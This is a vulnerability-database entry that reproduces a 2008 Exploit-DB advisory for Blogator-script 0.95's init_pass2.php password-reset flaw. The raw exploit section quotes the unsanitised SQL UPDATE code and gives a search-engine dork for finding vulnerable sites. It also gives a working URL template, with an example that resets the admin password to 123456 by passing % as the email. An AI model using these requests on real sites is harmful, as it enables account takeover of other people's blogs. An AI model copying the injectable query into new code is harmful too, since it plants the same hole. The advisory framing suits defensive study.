Blogator-script 0.95 Change User Password Vulnerability

vendor:

Blogator-script

by:

Virangar Security Team

7.5

CVSS

HIGH

Change User Password Vulnerability

264

CWE

Product Name: Blogator-script

Affected Version From: 0.95

Affected Version To: 0.95

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Blogator-script 0.95 Change User Password Vulnerability

A vulnerability exists in Blogator-script 0.95 which allows an attacker to change the password of any user by exploiting the init_pass2.php file. The attacker can send a malicious request to the vulnerable file with the user ID and a new password, and the user's password will be changed.

Mitigation:

Upgrade to the latest version of Blogator-script.

Source

Exploit-DB raw data:

	     ##############################################################################
             #                                                                            #
             #  ...:::::Blogator-script 0.95 Change User Password Vulnerbility ::::....   #           
             ##############################################################################

Virangar Security Team

www.virangar.org
www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from emperor team :)
-----------------------------------
dork: inurl:/_blogadata/
-----------------------------------
vuln code in /_blogadata/include/init_pass2.php:
line 23: $id=$_GET['a'];
line 24:$email=$_GET['b'];
line 25: $mdp=$_GET['c'];
.....
line 27: $sql_change_pass=mysql_query("UPDATE membre SET pass = '$mdp' WHERE id_membre = '$id' AND email LIKE '$email' LIMIT 1");

so if we put user id for $id and put %(any) for user email($email) and $mdp=newpassword.....he he he :)
------------
vuln:
http://www.site.com/_blogadata/include/init_pass2.php?c=[newpass]&a=[user id]&b=%
example:(change admin pass to 123456)
http://www.site.com/_blogadata/include/init_pass2.php?c=123456&a=1&b=%

# milw0rm.com [2008-04-05]